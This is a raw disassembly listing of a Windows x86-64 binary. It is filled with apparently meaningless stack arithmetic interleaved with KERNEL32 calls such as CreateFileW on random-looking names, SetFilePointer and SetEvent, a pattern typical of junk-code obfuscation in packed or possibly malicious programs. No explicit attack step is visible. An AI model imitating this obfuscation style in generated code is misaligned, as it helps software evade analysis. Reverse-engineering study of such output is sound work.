movzx eax, word [rsp + 0x5b4]
mov word [rsp + 0x35c4], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x14c8
mov rcx, qword [rsp + 0x30f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [0x1400fd708]
mov rax, qword [rax]
add rax, qword [rsp + 0x3fb0]
mov qword [0x1400fc4c8], rax
movzx eax, word [rsp + 0x2c4]
mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1470]
mov word [rcx], ax
mov rax, qword [0x1400fc3e8]
mov rcx, qword [rsp + 0x2260]
mov qword [rsp + 0x4e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4108], rax
lea rax, [rsp + 0x3848]
mov qword [rsp + 0x3bc8], rax
mov rax, qword [rsp + 0x1c40]
mov ecx, dword [rsp + 0x346c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xba0], eax
mov rcx, qword [rsp + 0x3b20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42b0], eax
mov rax, qword [rsp + 0x2518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0xe40], al
mov rax, qword [rsp + 0x25c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
add eax, ecx
mov byte [rsp + 0x22a], al
mov eax, dword [rsp + 0x1ab8]
mov dword [rsp + 0x26e4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf798
mov rcx, qword [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab4], eax
mov rax, qword [rsp + 0x3ab8]
mov rcx, qword [0x1400fc390]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xfd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaa0]
mov word [0x1400fd8ec], ax
mov rax, qword [rsp + 0x1db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5f4]
xor eax, ecx
mov word [rsp + 0x264], ax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov word [rsp + 0x1e04], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28c]
shl eax, cl
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x2cf8]
mov ecx, dword [rsp + 0x26b0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x21ac], eax
mov rax, qword [rsp + 0x39c0]
mov rcx, qword [0x1400fd7d8]
mov qword [rsp + 0x4e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4e80], rax
mov rax, qword [rsp + 0x1f18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3fb8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x968]
mov byte [rcx], al
mov rax, qword [rsp + 0x3048]
movzx eax, word [rax]
mov word [rsp + 0x35c0], ax
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [rsp + 0x1ee8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe9c], ax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x212c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.5VY_rLZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3bc0], rax
mov rax, qword [rsp + 0x3a18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e88]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd1c0], rax
mov rax, qword [0x1400fd810]
mov rcx, qword [rsp + 0x2248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ba8], rax
mov rax, qword [rsp + 0x2a78]
movzx ecx, al
mov rax, qword [rsp + 0x3850]
sar rax, cl
mov qword [rsp + 0x2a68], rax
mov rax, qword [rsp + 0x3a30]
mov rcx, qword [rsp + 0x29b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a80]
mov qword [rcx], rax
movzx eax, word [0x1400fd64c]
mov word [rsp + 0x1628], ax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x1520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x91e], al
mov eax, dword [rsp + 0xe10]
mov dword [rsp + 0x42ac], eax
mov rax, qword [rsp + 0x2d48]
mov rcx, qword [rsp + 0x4e90]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xf78]
mov qword [rcx], rax
mov eax, dword [rsp + 0xe1c]
mov ecx, dword [rsp + 0x2130]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3468], eax
lea rax, [rsp + 0xbc]
mov qword [0x1400fd8f0], rax
movsx eax, word [0x1400fc420]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1b60]
mov word [rcx], ax
movsx eax, word [rsp + 0x15ac]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5b8], ax
movzx eax, word [rsp + 0x86c]
mov word [rsp + 0x1600], ax
mov rax, qword [rsp + 0x2d70]
mov rcx, qword [rsp + 0x4e98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2af0]
mov rcx, qword [rsp + 0x3198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3b30], rax
mov rax, qword [rsp + 0x3c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1bf], al
mov eax, dword [rsp + 0x1aac]
mov ecx, dword [rsp + 0x2134]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3050]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2af8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x206c], ax
lea rax, [rsp + 0xea0]
mov qword [0x1400fd8f8], rax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x3058]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ca0], rax
mov rax, qword [rsp + 0x3250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
sar eax, cl
mov word [rsp + 0x2058], ax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x1b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
movzx eax, byte [rsp + 0x22f]
mov byte [rsp + 0x1d53], al
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x30e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1a58], rax
mov eax, dword [rsp + 0x208]
mov dword [rsp + 0x33fc], eax
mov rax, qword [rsp + 0x1488]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x205c]
shl eax, cl
mov rcx, qword [rsp + 0x2290]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x34ab
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab0], eax
mov rax, qword [0x1400fd418]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1850]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fd7c0], ax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3c58], rax
mov rax, qword [0x1400fd708]
mov rax, qword [rax]
add rax, qword [rsp + 0x2c30]
mov qword [rsp + 0x3d08], rax
movsx eax, word [rsp + 0x5c0]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf10], ax
lea rax, [rsp + 0x5bc]
mov qword [rsp + 0x40d8], rax
mov rax, qword [0x1400fd6d8]
mov rcx, qword [rsp + 0x3858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1394], eax
movzx eax, byte [rsp + 0x2dd]
mov byte [rsp + 0xe3e], al
mov rax, qword [rsp + 0x3978]
mov rcx, qword [rsp + 0x18a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2098]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x342c], eax
mov rax, qword [0x1400fd180]
mov rcx, qword [rsp + 0x29a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3388], rax
movsx eax, word [rsp + 0x3b0]
movsx ecx, word [rsp + 0x4d0]
add eax, ecx
mov word [0x1400fc570], ax
lea rax, [rsp + 0x6fc]
mov qword [rsp + 0x40e8], rax
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0x1a90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x26b4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x63a8
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x5748], rax
mov rax, qword [0x1400fd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ea0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1450]
mov qword [rsp + 0x4ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ea8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2198], eax
mov rax, qword [rsp + 0xfc0]
mov rcx, qword [rsp + 0x3068]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4088], rax
mov rcx, qword [rsp + 0x3fc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7ae9
mov rcx, qword [rsp + 0x3060]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33c8], eax
movsx eax, byte [0x1400fd133]
mov rcx, qword [rsp + 0x3cc8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x585], al
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0x5750], rax
movzx eax, word [rsp + 0x1600]
mov rcx, qword [rsp + 0x1b68]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc5ac], ax
mov rax, qword [rsp + 0x1838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3220]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ad0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4f4]
movzx ecx, word [rsp + 0x8c8]
sub eax, ecx
mov word [rsp + 0xef8], ax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa28]
movzx eax, word [rax]
mov word [rsp + 0x35bc], ax
mov rax, qword [rsp + 0x10b8]
mov rcx, qword [0x1400fd520]
mov qword [rsp + 0x4eb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4eb0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x29a8], rax
mov rax, qword [rsp + 0x3120]
mov rax, qword [rax]
mov qword [rsp + 0x5758], rax
mov rax, qword [rsp + 0x1b40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2bd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x91d], al
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12c0]
add eax, dword [rcx]
mov dword [rsp + 0x1a68], eax
movzx eax, word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock]
mov rcx, qword [rsp + 0x2fc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x4eb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2570]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd830], rax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d6], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf488
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xcdc]
mov dword [rsp + 0x2784], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5760], rax
mov rax, qword [rsp + 0x31b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2090]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc14], ax
movzx eax, word [rsp + 0x5c4]
mov rcx, qword [rsp + 0x1f00]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2060], ax
mov rax, qword [rsp + 0xca8]
mov rcx, qword [rsp + 0x1158]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x19bc
mov rcx, qword [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0x2a10]
mov rcx, qword [rsp + 0x1348]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3068], rax
mov rax, qword [rsp + 0x1c38]
movzx eax, byte [rax]
mov byte [rsp + 0x1d52], al
mov rax, qword [rsp + 0x1240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5f0]
sub eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, word [rsp + 0xc08]
mov word [0x1400fd900], ax
mov rax, qword [rsp + 0x2248]
mov qword [rsp + 0x5768], rax
mov rcx, qword [rsp + 0x4ec0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3464], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.HLRdfX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5770], rax
mov rax, qword [rsp + 0x19f8]
mov rax, qword [rax]
add rax, qword [0x1400fd528]
mov qword [rsp + 0x29b8], rax
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1858]
add rax, qword [rcx]
mov qword [rsp + 0x1718], rax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc44]
and eax, ecx
mov word [rsp + 0x2064], ax
mov rax, qword [rsp + 0x2b78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2490]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
lea rax, [rsp + 0x1748]
mov qword [rsp + 0x5778], rax
mov eax, dword [rsp + 0x1398]
mov ecx, dword [rsp + 0x11bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x26b8], eax
mov rax, qword [rsp + 0x1828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3f]
sub eax, ecx
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0x3d18]
mov eax, dword [rax]
mov dword [rsp + 0x33f0], eax
movsx eax, word [rsp + 0x25c]
movsx ecx, word [rsp + 0xc14]
and eax, ecx
mov word [0x1400fd720], ax
movzx eax, word [rsp + 0x268]
movzx ecx, word [rsp + 0x1628]
and eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [rsp + 0xf08]
add eax, ecx
mov word [rsp + 0x2068], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb118
mov rcx, qword [rsp + 0x2bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3460], eax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3fd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd600]
shl rax, cl
mov qword [rsp + 0x2ca0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.sxoVMkAbliLNmIcLjAoyK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5780], rax
mov eax, 0x38
imul rax, rax, 0
mov dword [rsp + rax + 0x5b70], 0x416e9012
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
mov dword [rsp + 0x276c], eax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x990]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x17c8], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfd8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2b28]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
mov word [rsp + 0x35b8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcfde
mov rcx, qword [rsp + 0x3860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x345c], eax
mov rcx, qword [rsp + 0x3c80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3410], eax
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0x1f28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x12f0]
mov rcx, qword [0x1400fc598]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc5b0], rax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6f8]
sub eax, ecx
mov word [rsp + 0x1604], ax
mov rax, qword [rsp + 0x41a0]
mov rcx, qword [rsp + 0x3868]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1da0]
mov rcx, qword [rsp + 0x3938]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0x1800]
mov qword [rsp + 0x5788], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbe7
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0x4ed0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4130]
mov qword [rsp + 0x4ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ed8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2768], eax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x480]
mov dword [rsp + 0x3454], eax
movzx eax, byte [rsp + 0x91e]
cdq
mov ecx, 0xdb
idiv ecx
mov byte [rsp + 0x130], al
movsx eax, byte [rsp + 0xe3e]
movsx ecx, byte [rsp + 0x60c]
add eax, ecx
mov byte [rsp + 0x2dc], al
movsx eax, word [rsp + 0x206c]
movsx ecx, word [rsp + 0x454]
sub eax, ecx
mov word [0x1400fd8d4], ax
mov rcx, qword [rsp + 0x3870]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42a8], eax
lea rax, [rsp + 0x5f4]
mov qword [rsp + 0x41c8], rax
mov eax, 0x38
imul rax, rax, 2
mov dword [rsp + rax + 0x5b70], 0x1c2b18dc
mov r9d, 2
xor r8d, r8d
mov edx, 0x2762
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x440], ax
lea rax, [rsp + 0x864]
mov qword [rsp + 0x5010], rax
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3450], eax
mov rax, qword [rsp + 0x1be0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60a]
or eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0xd80]
mov rcx, qword [rsp + 0x3b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x13ac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.rJbOiSl1FUsVLsrV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x3880]
mov qword [rsp + 0x5798], rax
movsx eax, word [rsp + 0x460]
mov rcx, qword [rsp + 0x30b8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1010]
mov word [rcx], ax
lea rax, [rsp + 0x888]
mov qword [rsp + 0x40e0], rax
mov rax, qword [rsp + 0x2d78]
mov qword [0x1400fd908], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2ab0]
sar rax, cl
mov rcx, qword [rsp + 0x2ce8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e50]
mov rax, qword [rax]
add rax, qword [rsp + 0x1830]
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x1218]
mov rcx, qword [rsp + 0x2510]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc58], rax
mov rax, qword [0x1400fd828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0x30d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d51], al
mov rax, qword [rsp + 0x2460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x26e0], eax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov dword [rsp + 0x42a4], eax
mov rax, qword [rsp + 0x1c20]
mov rcx, qword [rsp + 0x3888]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1748], rax
lea rax, [rsp + 0x2cd]
mov qword [0x1400fd910], rax
mov rcx, qword [rsp + 0x4008]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xded4
mov rcx, qword [rsp + 0x3890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [0x1400fd748]
sar eax, cl
mov rcx, qword [rsp + 0x2e40]
mov word [rcx], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x3ac0], rax
movzx eax, word [rsp + 0x550]
movzx ecx, word [rsp + 0x8a0]
add eax, ecx
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x2e38]
mov qword [rsp + 0x51d0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5380], rax
movsx eax, byte [rsp + 0x54b]
mov rcx, qword [rsp + 0x3fd8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1510]
mov byte [rcx], al
mov rax, qword [rsp + 0x3898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ef0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x31e0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5190
mov rcx, qword [rsp + 0x3fe0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x3070]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x344c], eax
mov rax, qword [rsp + 0x2468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x870]
shl eax, cl
mov rcx, qword [rsp + 0x2dc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
mov rcx, qword [0x1400fd7e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd454], ax
mov rcx, qword [rsp + 0x29c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a6c], eax
mov rax, qword [rsp + 0x978]
mov qword [rsp + 0x52b0], rax
movzx eax, word [rsp + 0xc20]
movzx ecx, word [rsp + 0x14c]
sub eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x4030]
mov eax, dword [rax]
add eax, dword [0x1400fc384]
mov dword [rsp + 0x3448], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x38a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x3af0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92c]
add eax, ecx
mov byte [rsp + 0x91f], al
lea rax, [rsp + 0x56c]
mov qword [rsp + 0x5340], rax
mov rax, qword [rsp + 0x1ec0]
mov rcx, qword [rsp + 0x1870]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x38a8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.CDME7WRS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x57a0], rax
movzx eax, word [rsp + 0x314]
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x22f8]
movzx eax, word [rax]
mov word [0x1400fd918], ax
mov rax, qword [rsp + 0x18a0]
mov rcx, qword [rsp + 0x38b0]
mov qword [rsp + 0x4ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ef8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3078], rax
mov rcx, qword [rsp + 0x3fe8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xab6d
mov rcx, qword [rsp + 0x38b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rax, qword [rsp + 0x25b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x17f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3080], rax
movzx eax, word [rsp + 0xc38]
mov word [rsp + 0x35b0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x57a8], rax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2d88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
mov eax, dword [rsp + 0x11b0]
movzx ecx, al
mov eax, dword [rsp + 0xdfc]
shl eax, cl
mov rcx, qword [rsp + 0x29c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x405]
movsx ecx, byte [rsp + 0x54b]
or eax, ecx
mov byte [rsp + 0x406], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc01b
mov rcx, qword [rsp + 0x3088]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2144], eax
lea rax, [rsp + 0x3a58]
mov qword [rsp + 0x57b0], rax
movsx eax, word [rsp + 0x5f0]
mov rcx, qword [rsp + 0x3910]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1400fd598]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15b0]
sub eax, ecx
mov word [rsp + 0x15f4], ax
lea rax, [0x1400fc384]
mov qword [rsp + 0x57b8], rax
mov rax, qword [rsp + 0x3b98]
movzx eax, byte [rax]
